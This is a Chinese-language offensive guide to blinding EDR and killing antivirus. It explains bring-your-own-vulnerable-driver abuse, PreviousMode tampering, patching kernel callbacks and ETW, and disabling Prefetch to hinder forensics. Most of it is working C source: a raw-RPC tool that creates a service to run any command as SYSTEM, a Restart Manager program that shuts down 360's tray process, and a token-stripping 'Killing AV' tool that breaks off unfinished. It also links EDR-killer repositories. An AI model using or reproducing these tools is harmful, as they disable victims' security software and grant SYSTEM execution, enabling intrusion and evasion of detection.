EDR系统致盲技术,kill杀软
EDR致盲技术
BYOVD技术
BYOVD —— 利用带有漏洞的合法签名白驱动直接结束安全软件进程
一、BYOVD利用技术
BYOVD是将存在漏洞的合法驱动投递至目标系统,借助其完成恶意操作的攻击技术。借助滥用的合法驱动签名,攻击者得以绕过DSE(强制驱动签名)机制的限制,在Ring0空间完成各种攻击操作。
典型BYOVD利用过程
驱动文件 | 利用类型 | 厂商 |
---|---|---|
DBUtil_2_3.sys | 虚拟内存读写 | DELL(CVE-2021-21551) |
ene.sys | 物理内存读写 | ENE Technology |
攻击者在两次攻击活动中滥用了不同的驱动文件来作为敲门砖,但是漏洞利用效果与利用链构造上如出一辙:利用内存写入类漏洞篡改内核线程对象的PreviousMode属性,达到从用户态访问内核空间的攻击效果。
二、PreviousMode篡改
typedef enum _MODE {
KernelMode = 0,
UserMode = 1,
} MODE;
ETHREAD内核数据结构中的PreviousMode原本用于指示函数的调用方,当系统调用来自用户态线程中时,系统调用的处理函数会在线程对象中设置其PreviousMode属性为1(UserMode),若调用方为内核或系统进程则将其置于0(KernelMode)。该值标识了调用源是否来自可信的环境。
若该值被置为0,类似于NtWriteVirtualMemory这样的函数可同时读写用户态与内核态的内存空间”。利用这样的方式,可以对内核数据结构执行了一系列篡改,以达成防御削弱的战术目的。
三、Ring0级防御削弱技术
利用BYOVD利用技术突破到Ring0级权限,并获取内核空间的读写权限后采取了一系列防御削弱的攻击手段,禁用了一系列内核回调函数以及检测基础设施,达到致盲安全产品的目的。
按照一定顺序对于一些系统回调函数进行了Patch,实现破坏针对进程、线程、模块和注册表等检测能力。为了保证保证不会有通知发往现存的回调函数,攻击者首先对PspNotifyEnableMask结构加以patch。
内核数据结构 | 说明 |
---|---|
nt!PspNotifyEnableMask | 表征回调函数是否安装 |
nt!PspLoadImageNotifyRoutine | 禁用模块加载(驱动加载)检测 |
nt!PspCreateThreadNotifyRoutine | 禁用线程创建/终止检测 |
nt!PspCreateProcessNotifyRoutine | 禁用进程创建/终止检测 |
nt!CallbackListHead | 禁用注册表修改检测 |
nt!ObTypeIndexTable | 禁用Object Callback |
除此之外攻击者禁用了白名单之外的Mini File Filter与WFP驱动程序,破坏安全产品对于文件系统和网络流量的检测能力。ETW是Windows操作系统提供的安全事件日志采集的基础设施,帮助EDR等安全产品捕获恶意行为,攻击者通过对于ETW相关的一系列句柄与参数的覆写破坏了ETW的可用性。
篡改的ETW相关数据结构
nt!EtwpEventTracingProvRegHandle
nt!EtwKernelProvRegHandle
nt!EtwpPsProvRegHandle
nt!EtwpNetProvRegHandle
nt!EtwpDiskProvRegHandle
nt!EtwpFileProvRegHandle
nt!EtwSecurityMitigationsRegHandle
nt!EtwpHostSiloState
四、反取证-禁用Windows Prefetch文件创建
Windows Prefetch(预读取)文件被设计以加速程序的打开速度,其中存储了近期执行程序的记录。进程路径、文件创建/修改/执行时间等信息,也为恶意程序执行的分析取证提供了机会。
攻击者通过内核中nt!PfSnNumActiveTraces数据结构的篡改,禁用了Windows Prefetch文件的创建,达到反取证的目的。当该数据结构的值被篡改后,生成Prefetch文件的关键函数PfSnBeginTrace将永远返回-1,达到破坏生成的目的。
使用RPC协议加载驱动
#include <stdio.h>
#include <windows.h>
// rpc command ids
#define RPC_CMD_ID_OPEN_SC_MANAGER 27
#define RPC_CMD_ID_CREATE_SERVICE 24
#define RPC_CMD_ID_START_SERVICE 31
#define RPC_CMD_ID_DELETE_SERVICE 2
// rpc command output lengths
#define RPC_OUTPUT_LENGTH_OPEN_SC_MANAGER 24
#define RPC_OUTPUT_LENGTH_CREATE_SERVICE 28
#define RPC_OUTPUT_LENGTH_START_SERVICE 4
#define RPC_OUTPUT_LENGTH_DELETE_SERVICE 4
#define MAX_RPC_PACKET_LENGTH 4096
#define MAX_PROCEDURE_DATA_LENGTH 2048
#define CALC_ALIGN_PADDING(VALUE_LENGTH, ALIGN_BYTES) ((((VALUE_LENGTH + ALIGN_BYTES - 1) / ALIGN_BYTES) * ALIGN_BYTES) - VALUE_LENGTH)
struct RpcBaseHeaderStruct
{
WORD wVersion;
BYTE bPacketType;
BYTE bPacketFlags;
DWORD dwDataRepresentation;
WORD wFragLength;
WORD wAuthLength;
DWORD dwCallIndex;
};
struct RpcRequestHeaderStruct
{
DWORD dwAllocHint;
WORD wContextID;
WORD wProcedureNumber;
};
struct RpcResponseHeaderStruct
{
DWORD dwAllocHint;
WORD wContextID;
BYTE bCancelCount;
BYTE bAlign[1];
};
struct RpcBindRequestContextEntryStruct
{
WORD wContextID;
WORD wTransItemCount;
BYTE bInterfaceUUID[16];
DWORD dwInterfaceVersion;
BYTE bTransferSyntaxUUID[16];
DWORD dwTransferSyntaxVersion;
};
struct RpcBindRequestHeaderStruct
{
WORD wMaxSendFrag;
WORD wMaxRecvFrag;
DWORD dwAssocGroup;
BYTE bContextCount;
BYTE bAlign[3];
RpcBindRequestContextEntryStruct Context;
};
struct RpcBindResponseContextEntryStruct
{
WORD wResult;
WORD wAlign;
BYTE bTransferSyntax[16];
DWORD dwTransferSyntaxVersion;
};
struct RpcBindResponseHeader1Struct
{
WORD wMaxSendFrag;
WORD wMaxRecvFrag;
DWORD dwAssocGroup;
};
struct RpcBindResponseHeader2Struct
{
DWORD dwContextResultCount;
RpcBindResponseContextEntryStruct Context;
};
struct RpcConnectionStruct
{
HANDLE hFile;
DWORD dwCallIndex;
DWORD dwInputError;
DWORD dwRequestInitialised;
BYTE bProcedureInputData[MAX_PROCEDURE_DATA_LENGTH];
DWORD dwProcedureInputDataLength;
BYTE bProcedureOutputData[MAX_PROCEDURE_DATA_LENGTH];
DWORD dwProcedureOutputDataLength;
};
DWORD RpcConvertUUID(char* pString, BYTE* pUUID, DWORD dwMaxLength)
{
BYTE bUUID[16];
BYTE bFixedUUID[16];
DWORD dwUUIDLength = 0;
BYTE bCurrInputChar = 0;
BYTE bConvertedByte = 0;
DWORD dwProcessedByteCount = 0;
BYTE bCurrOutputByte = 0;
// ensure output buffer is large enough
if (dwMaxLength < 16)
{
return 1;
}
// check uuid length
dwUUIDLength = strlen("00000000-0000-0000-0000-000000000000");
if (strlen(pString) != dwUUIDLength)
{
return 1;
}
// convert string to uuid
for (DWORD i = 0; i < dwUUIDLength; i++)
{
// get current input character
bCurrInputChar = *(BYTE*)((BYTE*)pString + i);
// check if a dash character is expected here
if (i == 8 || i == 13 || i == 18 || i == 23)
{
if (bCurrInputChar == '-')
{
continue;
}
else
{
return 1;
}
}
else
{
// check current input character value
if (bCurrInputChar >= 'a' && bCurrInputChar <= 'f')
{
bConvertedByte = 0xA + (bCurrInputChar - 'a');
}
else if (bCurrInputChar >= 'A' && bCurrInputChar <= 'F')
{
bConvertedByte = 0xA + (bCurrInputChar - 'A');
}
else if (bCurrInputChar >= '0' && bCurrInputChar <= '9')
{
bConvertedByte = 0 + (bCurrInputChar - '0');
}
else
{
// invalid character
return 1;
}
if ((dwProcessedByteCount % 2) == 0)
{
bCurrOutputByte = bConvertedByte * 0x10;
}
else
{
bCurrOutputByte += bConvertedByte;
// store current uuid byte
bUUID[(dwProcessedByteCount - 1) / 2] = bCurrOutputByte;
}
dwProcessedByteCount++;
}
}
// fix uuid endianness
memcpy((void*)bFixedUUID, (void*)bUUID, sizeof(bUUID));
bFixedUUID[0] = bUUID[3];
bFixedUUID[1] = bUUID[2];
bFixedUUID[2] = bUUID[1];
bFixedUUID[3] = bUUID[0];
bFixedUUID[4] = bUUID[5];
bFixedUUID[5] = bUUID[4];
bFixedUUID[6] = bUUID[7];
bFixedUUID[7] = bUUID[6];
// store uuid
memcpy((void*)pUUID, (void*)bFixedUUID, sizeof(bUUID));
return 0;
}
DWORD RpcBind(RpcConnectionStruct* pRpcConnection, char* pInterfaceUUID, DWORD dwInterfaceVersion)
{
RpcBaseHeaderStruct RpcBaseHeader;
RpcBindRequestHeaderStruct RpcBindRequestHeader;
DWORD dwBytesWritten = 0;
DWORD dwBytesRead = 0;
BYTE bResponseData[MAX_RPC_PACKET_LENGTH];
RpcBaseHeaderStruct* pRpcResponseBaseHeader = NULL;
RpcBindResponseHeader1Struct* pRpcBindResponseHeader1 = NULL;
RpcBindResponseHeader2Struct* pRpcBindResponseHeader2 = NULL;
BYTE* pSecondaryAddrHeaderBlock = NULL;
WORD wSecondaryAddrLen = 0;
DWORD dwSecondaryAddrAlign = 0;
// set base header details
memset((void*)&RpcBaseHeader, 0, sizeof(RpcBaseHeader));
RpcBaseHeader.wVersion = 5;
RpcBaseHeader.bPacketType = 11;
RpcBaseHeader.bPacketFlags = 3;
RpcBaseHeader.dwDataRepresentation = 0x10;
RpcBaseHeader.wFragLength = sizeof(RpcBaseHeader) + sizeof(RpcBindRequestHeader);
RpcBaseHeader.wAuthLength = 0;
RpcBaseHeader.dwCallIndex = pRpcConnection->dwCallIndex;
// set bind request header details
memset((void*)&RpcBindRequestHeader, 0, sizeof(RpcBindRequestHeader));
RpcBindRequestHeader.wMaxSendFrag = MAX_RPC_PACKET_LENGTH;
RpcBindRequestHeader.wMaxRecvFrag = MAX_RPC_PACKET_LENGTH;
RpcBindRequestHeader.dwAssocGroup = 0;
RpcBindRequestHeader.bContextCount = 1;
RpcBindRequestHeader.Context.wContextID = 0;
RpcBindRequestHeader.Context.wTransItemCount = 1;
RpcBindRequestHeader.Context.dwTransferSyntaxVersion = 2;
// get interface UUID
if (RpcConvertUUID(pInterfaceUUID, RpcBindRequestHeader.Context.bInterfaceUUID, sizeof(RpcBindRequestHeader.Context.bInterfaceUUID)) != 0)
{
return 1;
}
RpcBindRequestHeader.Context.dwInterfaceVersion = dwInterfaceVersion;
// {8a885d04-1ceb-11c9-9fe8-08002b104860} (NDR)
if (RpcConvertUUID((char*)"8a885d04-1ceb-11c9-9fe8-08002b104860", RpcBindRequestHeader.Context.bTransferSyntaxUUID, sizeof(RpcBindRequestHeader.Context.bTransferSyntaxUUID)) != 0)
{
return 1;
}
// write base header
if (WriteFile(pRpcConnection->hFile, (void*)&RpcBaseHeader, sizeof(RpcBaseHeader), &dwBytesWritten, NULL) == 0)
{
return 1;
}
// write bind request header
if (WriteFile(pRpcConnection->hFile, (void*)&RpcBindRequestHeader, sizeof(RpcBindRequestHeader), &dwBytesWritten, NULL) == 0)
{
return 1;
}
// increase call index
pRpcConnection->dwCallIndex++;
// get bind response
memset((void*)&bResponseData, 0, sizeof(bResponseData));
if (ReadFile(pRpcConnection->hFile, (void*)bResponseData, sizeof(bResponseData), &dwBytesRead, NULL) == 0)
{
return 1;
}
// get a ptr to the base response header
pRpcResponseBaseHeader = (RpcBaseHeaderStruct*)bResponseData;
// validate base response header
if (pRpcResponseBaseHeader->wVersion != 5)
{
return 1;
}
if (pRpcResponseBaseHeader->bPacketType != 12)
{
return 1;
}
if (pRpcResponseBaseHeader->bPacketFlags != 3)
{
return 1;
}
if (pRpcResponseBaseHeader->wFragLength != dwBytesRead)
{
return 1;
}
// get a ptr to the main bind response header body
pRpcBindResponseHeader1 = (RpcBindResponseHeader1Struct*)((BYTE*)pRpcResponseBaseHeader + sizeof(RpcBaseHeaderStruct));
// get secondary addr header ptr
pSecondaryAddrHeaderBlock = (BYTE*)pRpcBindResponseHeader1 + sizeof(RpcBindResponseHeader1Struct);
wSecondaryAddrLen = *(WORD*)pSecondaryAddrHeaderBlock;
// validate secondary addr length
if (wSecondaryAddrLen > 256)
{
return 1;
}
// calculate padding for secondary addr value if necessary
dwSecondaryAddrAlign = CALC_ALIGN_PADDING((sizeof(WORD) + wSecondaryAddrLen), 4);
// get a ptr to the main bind response header body (after the variable-length secondary addr field)
pRpcBindResponseHeader2 = (RpcBindResponseHeader2Struct*)((BYTE*)pSecondaryAddrHeaderBlock + sizeof(WORD) + wSecondaryAddrLen + dwSecondaryAddrAlign);
// validate context count
if (pRpcBindResponseHeader2->dwContextResultCount != 1)
{
return 1;
}
// ensure the result value for context #1 was successful
if (pRpcBindResponseHeader2->Context.wResult != 0)
{
return 1;
}
return 0;
}
DWORD RpcConnect(char* pPipeName, char* pInterfaceUUID, DWORD dwInterfaceVersion, RpcConnectionStruct* pRpcConnection)
{
HANDLE hFile = NULL;
char szPipePath[512];
RpcConnectionStruct RpcConnection;
// set pipe path
memset(szPipePath, 0, sizeof(szPipePath));
_snprintf(szPipePath, sizeof(szPipePath) - 1, "\\\\.\\pipe\\%s", pPipeName);
// open rpc pipe
hFile = CreateFileA(szPipePath, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return 1;
}
// initialise rpc connection data
memset((void*)&RpcConnection, 0, sizeof(RpcConnection));
RpcConnection.hFile = hFile;
RpcConnection.dwCallIndex = 1;
// bind rpc connection
if (RpcBind(&RpcConnection, pInterfaceUUID, dwInterfaceVersion) != 0)
{
return 1;
}
// store connection data
memcpy((void*)pRpcConnection, (void*)&RpcConnection, sizeof(RpcConnection));
return 0;
}
DWORD RpcSendRequest(RpcConnectionStruct* pRpcConnection, DWORD dwProcedureNumber)
{
RpcBaseHeaderStruct RpcBaseHeader;
RpcRequestHeaderStruct RpcRequestHeader;
DWORD dwBytesWritten = 0;
BYTE bResponseData[MAX_RPC_PACKET_LENGTH];
RpcBaseHeaderStruct* pRpcResponseBaseHeader = NULL;
RpcResponseHeaderStruct* pRpcResponseHeader = NULL;
DWORD dwProcedureResponseDataLength = 0;
DWORD dwBytesRead = 0;
BYTE* pTempProcedureResponseDataPtr = NULL;
// ensure rpc request has been initialised
if (pRpcConnection->dwRequestInitialised == 0)
{
return 1;
}
// clear initialised flag
pRpcConnection->dwRequestInitialised = 0;
// check for input errors
if (pRpcConnection->dwInputError != 0)
{
return 1;
}
// set base header details
memset((void*)&RpcBaseHeader, 0, sizeof(RpcBaseHeader));
RpcBaseHeader.wVersion = 5;
RpcBaseHeader.bPacketType = 0;
RpcBaseHeader.bPacketFlags = 3;
RpcBaseHeader.dwDataRepresentation = 0x10;
RpcBaseHeader.wFragLength = sizeof(RpcBaseHeader) + sizeof(RpcRequestHeader) + pRpcConnection->dwProcedureInputDataLength;
RpcBaseHeader.wAuthLength = 0;
RpcBaseHeader.dwCallIndex = pRpcConnection->dwCallIndex;
// set request header details
memset((void*)&RpcRequestHeader, 0, sizeof(RpcRequestHeader));
RpcRequestHeader.dwAllocHint = 0;
RpcRequestHeader.wContextID = 0;
RpcRequestHeader.wProcedureNumber = (WORD)dwProcedureNumber;
// write base header
if (WriteFile(pRpcConnection->hFile, (void*)&RpcBaseHeader, sizeof(RpcBaseHeader), &dwBytesWritten, NULL) == 0)
{
return 1;
}
// write request header
if (WriteFile(pRpcConnection->hFile, (void*)&RpcRequestHeader, sizeof(RpcRequestHeader), &dwBytesWritten, NULL) == 0)
{
return 1;
}
// write request body
if (WriteFile(pRpcConnection->hFile, (void*)pRpcConnection->bProcedureInputData, pRpcConnection->dwProcedureInputDataLength, &dwBytesWritten, NULL) == 0)
{
return 1;
}
// increase call index
pRpcConnection->dwCallIndex++;
// get bind response
memset((void*)&bResponseData, 0, sizeof(bResponseData));
if (ReadFile(pRpcConnection->hFile, (void*)bResponseData, sizeof(bResponseData), &dwBytesRead, NULL) == 0)
{
return 1;
}
// get a ptr to the base response header
pRpcResponseBaseHeader = (RpcBaseHeaderStruct*)bResponseData;
// validate base response header
if (pRpcResponseBaseHeader->wVersion != 5)
{
return 1;
}
if (pRpcResponseBaseHeader->bPacketType != 2)
{
return 1;
}
if (pRpcResponseBaseHeader->bPacketFlags != 3)
{
return 1;
}
if (pRpcResponseBaseHeader->wFragLength != dwBytesRead)
{
return 1;
}
// get a ptr to the main response header body
pRpcResponseHeader = (RpcResponseHeaderStruct*)((BYTE*)pRpcResponseBaseHeader + sizeof(RpcBaseHeaderStruct));
// context ID must be 0
if (pRpcResponseHeader->wContextID != 0)
{
return 1;
}
// calculate command response data length
dwProcedureResponseDataLength = pRpcResponseBaseHeader->wFragLength - sizeof(RpcBaseHeaderStruct) - sizeof(RpcResponseHeaderStruct);
// store response data
if (dwProcedureResponseDataLength > sizeof(pRpcConnection->bProcedureOutputData))
{
return 1;
}
pTempProcedureResponseDataPtr = (BYTE*)pRpcResponseHeader + sizeof(RpcResponseHeaderStruct);
memcpy(pRpcConnection->bProcedureOutputData, pTempProcedureResponseDataPtr, dwProcedureResponseDataLength);
// store response data length
pRpcConnection->dwProcedureOutputDataLength = dwProcedureResponseDataLength;
return 0;
}
DWORD RpcInitialiseRequestData(RpcConnectionStruct* pRpcConnection)
{
// initialise request data
memset(pRpcConnection->bProcedureInputData, 0, sizeof(pRpcConnection->bProcedureInputData));
pRpcConnection->dwProcedureInputDataLength = 0;
memset(pRpcConnection->bProcedureOutputData, 0, sizeof(pRpcConnection->bProcedureOutputData));
pRpcConnection->dwProcedureOutputDataLength = 0;
// reset input error flag
pRpcConnection->dwInputError = 0;
// set initialised flag
pRpcConnection->dwRequestInitialised = 1;
return 0;
}
DWORD RpcAppendRequestData_Binary(RpcConnectionStruct* pRpcConnection, BYTE* pData, DWORD dwDataLength)
{
DWORD dwBytesAvailable = 0;
// ensure the request has been initialised
if (pRpcConnection->dwRequestInitialised == 0)
{
return 1;
}
// calculate number of bytes remaining in the input buffer
dwBytesAvailable = sizeof(pRpcConnection->bProcedureInputData) - pRpcConnection->dwProcedureInputDataLength;
if (dwDataLength > dwBytesAvailable)
{
// set input error flag
pRpcConnection->dwInputError = 1;
return 1;
}
// store data in buffer
memcpy((void*)&pRpcConnection->bProcedureInputData[pRpcConnection->dwProcedureInputDataLength], pData, dwDataLength);
pRpcConnection->dwProcedureInputDataLength += dwDataLength;
// align to 4 bytes if necessary
pRpcConnection->dwProcedureInputDataLength += CALC_ALIGN_PADDING(dwDataLength, 4);
return 0;
}
DWORD RpcAppendRequestData_Dword(RpcConnectionStruct* pRpcConnection, DWORD dwValue)
{
// add dword value
if (RpcAppendRequestData_Binary(pRpcConnection, (BYTE*)&dwValue, sizeof(DWORD)) != 0)
{
return 1;
}
return 0;
}
DWORD RpcDisconnect(RpcConnectionStruct* pRpcConnection)
{
// close pipe handle
CloseHandle(pRpcConnection->hFile);
return 0;
}
int main(int argc, char* argv[])
{
RpcConnectionStruct RpcConnection;
BYTE bServiceManagerObject[20];
BYTE bServiceObject[20];
DWORD dwReturnValue = 0;
char szServiceName[256];
DWORD dwServiceNameLength = 0;
char szServiceCommandLine[256];
DWORD dwServiceCommandLineLength = 0;
char* pExecCmd = NULL;
printf("CreateSvcRpc - www.x86matthew.com\n\n");
if (argc != 2)
{
printf("Usage: %s [exec_cmd]\n\n", argv[0]);
return 1;
}
// get cmd param
pExecCmd = argv[1];
// generate a temporary service name
memset(szServiceName, 0, sizeof(szServiceName));
_snprintf(szServiceName, sizeof(szServiceName) - 1, "CreateSvcRpc_%u", GetTickCount());
dwServiceNameLength = strlen(szServiceName) + 1;
// set service command line
memset(szServiceCommandLine, 0, sizeof(szServiceCommandLine));
_snprintf(szServiceCommandLine, sizeof(szServiceCommandLine) - 1, "cmd /c start %s", pExecCmd);
dwServiceCommandLineLength = strlen(szServiceCommandLine) + 1;
printf("Connecting to SVCCTL RPC pipe...\n");
// open SVCCTL v2.0
if (RpcConnect((char*)"ntsvcs", (char*)"367abb81-9844-35f1-ad32-98f038001003", 2, &RpcConnection) != 0)
{
printf("Failed to connect to RPC pipe\n");
return 1;
}
printf("Opening service manager...\n");
// OpenSCManager
RpcInitialiseRequestData(&RpcConnection);
RpcAppendRequestData_Dword(&RpcConnection, 0);
RpcAppendRequestData_Dword(&RpcConnection, 0);
RpcAppendRequestData_Dword(&RpcConnection, SC_MANAGER_ALL_ACCESS);
if (RpcSendRequest(&RpcConnection, RPC_CMD_ID_OPEN_SC_MANAGER) != 0)
{
// error
RpcDisconnect(&RpcConnection);
return 1;
}
// validate rpc output data length
if (RpcConnection.dwProcedureOutputDataLength != RPC_OUTPUT_LENGTH_OPEN_SC_MANAGER)
{
// error
RpcDisconnect(&RpcConnection);
return 1;
}
// get return value
dwReturnValue = *(DWORD*)&RpcConnection.bProcedureOutputData[20];
// check return value
if (dwReturnValue != 0)
{
printf("OpenSCManager error: %u\n", dwReturnValue);
// error
RpcDisconnect(&RpcConnection);
return 1;
}
// store service manager object
memcpy(bServiceManagerObject, (void*)&RpcConnection.bProcedureOutputData[0], sizeof(bServiceManagerObject));
printf("Creating temporary service...\n");
// CreateService
RpcInitialiseRequestData(&RpcConnection);
RpcAppendRequestData_Binary(&RpcConnection, bServiceManagerObject, sizeof(bServiceManagerObject));
RpcAppendRequestData_Dword(&RpcConnection, dwServiceNameLength);
RpcAppendRequestData_Dword(&RpcConnection, 0);
RpcAppendRequestData_Dword(&RpcConnection, dwServiceNameLength);
RpcAppendRequestData_Binary(&RpcConnection, (BYTE*)szServiceName, dwServiceNameLength);
RpcAppendRequestData_Dword(&RpcConnection, 0);
RpcAppendRequestData_Dword(&RpcConnection, SERVICE_ALL_ACCESS);
RpcAppendRequestData_Dword(&RpcConnection, SERVICE_WIN32_OWN_PROCESS);
RpcAppendRequestData_Dword(&RpcConnection, SERVICE_DEMAND_START);
RpcAppendRequestData_Dword(&RpcConnection, SERVICE_ERROR_IGNORE);
RpcAppendRequestData_Dword(&RpcConnection, dwServiceCommandLineLength);
RpcAppendRequestData_Dword(&RpcConnection, 0);
RpcAppendRequestData_Dword(&RpcConnection, dwServiceCommandLineLength);
RpcAppendRequestData_Binary(&RpcConnection, (BYTE*)szServiceCommandLine, dwServiceCommandLineLength);
RpcAppendRequestData_Dword(&RpcConnection, 0);
RpcAppendRequestData_Dword(&RpcConnection, 0);
RpcAppendRequestData_Dword(&RpcConnection, 0);
RpcAppendRequestData_Dword(&RpcConnection, 0);
RpcAppendRequestData_Dword(&RpcConnection, 0);
RpcAppendRequestData_Dword(&RpcConnection, 0);
RpcAppendRequestData_Dword(&RpcConnection, 0);
if (RpcSendRequest(&RpcConnection, RPC_CMD_ID_CREATE_SERVICE) != 0)
{
// error
RpcDisconnect(&RpcConnection);
return 1;
}
// validate rpc output data length
if (RpcConnection.dwProcedureOutputDataLength != RPC_OUTPUT_LENGTH_CREATE_SERVICE)
{
// error
RpcDisconnect(&RpcConnection);
return 1;
}
// get return value
dwReturnValue = *(DWORD*)&RpcConnection.bProcedureOutputData[24];
// check return value
if (dwReturnValue != 0)
{
printf("CreateService error: %u\n", dwReturnValue);
// error
RpcDisconnect(&RpcConnection);
return 1;
}
// store service object
memcpy(bServiceObject, (void*)&RpcConnection.bProcedureOutputData[4], sizeof(bServiceObject));
printf("Executing '%s' as SYSTEM user...\n", pExecCmd);
// StartService
RpcInitialiseRequestData(&RpcConnection);
RpcAppendRequestData_Binary(&RpcConnection, bServiceObject, sizeof(bServiceObject));
RpcAppendRequestData_Dword(&RpcConnection, 0);
RpcAppendRequestData_Dword(&RpcConnection, 0);
if (RpcSendRequest(&RpcConnection, RPC_CMD_ID_START_SERVICE) != 0)
{
// error
RpcDisconnect(&RpcConnection);
return 1;
}
// validate rpc output data length
if (RpcConnection.dwProcedureOutputDataLength != RPC_OUTPUT_LENGTH_START_SERVICE)
{
// error
RpcDisconnect(&RpcConnection);
return 1;
}
// get return value
dwReturnValue = *(DWORD*)&RpcConnection.bProcedureOutputData[0];
// check return value
if (dwReturnValue != 0 && dwReturnValue != ERROR_SERVICE_REQUEST_TIMEOUT)
{
printf("StartService error: %u\n", dwReturnValue);
// error
RpcDisconnect(&RpcConnection);
return 1;
}
printf("Deleting temporary service...\n");
// DeleteService
RpcInitialiseRequestData(&RpcConnection);
RpcAppendRequestData_Binary(&RpcConnection, bServiceObject, sizeof(bServiceObject));
if (RpcSendRequest(&RpcConnection, RPC_CMD_ID_DELETE_SERVICE) != 0)
{
// error
RpcDisconnect(&RpcConnection);
return 1;
}
// validate rpc output data length
if (RpcConnection.dwProcedureOutputDataLength != RPC_OUTPUT_LENGTH_DELETE_SERVICE)
{
// error
RpcDisconnect(&RpcConnection);
return 1;
}
// get return value
dwReturnValue = *(DWORD*)&RpcConnection.bProcedureOutputData[0];
// check return value
if (dwReturnValue != 0)
{
printf("DeleteService error: %u\n", dwReturnValue);
// error
RpcDisconnect(&RpcConnection);
return 1;
}
printf("Finished\n");
// disconnect from rpc pipe
if (RpcDisconnect(&RpcConnection) != 0)
{
return 1;
}
return 0;
}
移除回调
win64 HOOK SSDT kpp patchguard 回调
https://github.com/br-sn/CheekyBlinder
https://github.com/RedCursorSecurityConsulting/PPLKiller
https://github.com/uf0o/windows-ps-callbacks-experiments/tree/master/edr-driver
https://github.com/lawiet47/STFUEDR
阻止流量出站
https://www.wangan.com/p/11v8239694f8fe03
R3 terminate
RmShutdow机制的滥用
https://learn.microsoft.com/en-us/windows/win32/rstmgr/restart-manager-portal
https://www.crowdstrike.com/blog/windows-restart-manager-part-1/
kill360
#include <windows.h>
#include <RestartManager.h>
#include <stdio.h>
#pragma comment(lib,"Rstrtmgr.lib")
/*
1.开始一个新的会话,使用 RmStartSession 函数。这将返回一个会话句柄和一个会话密钥。
2.将要管理的文件或进程注册为资源,使用 RmRegisterResources 函数。
3.使用 RmGetList 函数来检索所有与已注册的资源相关的进程信息。这将返回一个包含 RM_PROCESS_INFO 结构的数组,其中包含有关这些进程的详细信息,例如进程 ID 和进程名称。
4.使用 RmShutdown 函数来关闭所有与已注册的资源相关的进程。这将使这些进程在关闭时执行一个安全的关闭过程,以确保数据的一致性和完整性。
5.最后,使用 RmEndSession 函数来结束会话
*/
int __cdecl wmain(int argc, WCHAR** argv)
{
DWORD dwSessionHandle = 0xFFFFFFFF;
WCHAR szSessionKey[CCH_RM_SESSION_KEY + 1] = { 0 };
DWORD dwError = RmStartSession(&dwSessionHandle, 0, szSessionKey);
wprintf(L"RmStartSession returned %d\n", dwError);
if (dwError == ERROR_SUCCESS)
{
// PCWSTR pszFile = argv[1];
PCWSTR pszFile = L"D:\\360\\360Safe\\safemon\\360tray.exe";
dwError = RmRegisterResources(dwSessionHandle, 1, &pszFile, 0, NULL, 0, NULL);
if (dwError == ERROR_SUCCESS)
{
DWORD dwReason;
UINT i;
UINT nProcInfoNeeded;
UINT nProcInfo = 100;
RM_PROCESS_INFO rgpi[100];
dwError = RmGetList(dwSessionHandle, &nProcInfoNeeded, &nProcInfo, rgpi, &dwReason);
if (dwError == ERROR_SUCCESS)
{
RmShutdown(dwSessionHandle, 0, NULL);
}
}
RmEndSession(dwSessionHandle);
}
return 0;
}
降低令牌完整性
EnableDebugPrivilege
#include <Windows.h>
#include <stdio.h>
#include <iostream>
#include <TlHelp32.h>
#include <conio.h>
bool EnableDebugPrivilege()
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
return FALSE;
}
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue))
{
CloseHandle(hToken);
return false;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL))
{
CloseHandle(hToken);
return false;
}
return true;
}
int getpid(LPCWSTR procname) {
DWORD procPID = 0;
LPCWSTR processName = L"";
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
// replace this with Ntquerysystemapi
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, procPID);
if (Process32First(snapshot, &processEntry))
{
while (_wcsicmp(processName, procname) != 0)
{
Process32Next(snapshot, &processEntry);
processName = processEntry.szExeFile;
procPID = processEntry.th32ProcessID;
}
printf("[+] Got target proc PID: %d\n", procPID);
}
return procPID;
}
BOOL SetPrivilege(
HANDLE hToken, // access token handle
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
BOOL bEnablePrivilege // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL, // lookup privilege on local system
lpszPrivilege, // privilege to lookup
&luid)) // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;
else
tp.Privileges[0].Attributes = SE_PRIVILEGE_REMOVED;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
int main(int argc, char** argv)
{
LUID sedebugnameValue;
EnableDebugPrivilege();
wchar_t procname[80];
size_t convertedChars = 0;
mbstowcs_s(&convertedChars, procname, 80, argv[1], _TRUNCATE);
int pid = getpid(procname);
// printf("PID %d\n", pid);
printf("[*] Killing AV...\n");
// hardcoding PID of msmpeng for now
HANDLE phandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (phandle != INVALID_HANDLE_VALUE) {
printf("[*] Opened Target Handle\n");
}
else {
printf("[-] Failed to open Process Handle\n");
}
// printf("%p\n", phandle);
HANDLE ptoken;
BOOL token = OpenProcessToken(phandle, TOKEN_ALL_ACCESS, &ptoken);
if (token) {
printf("[*] Opened Target Token Handle\n");
}
else {
printf("[-] Failed to open Token Handle\n");
}
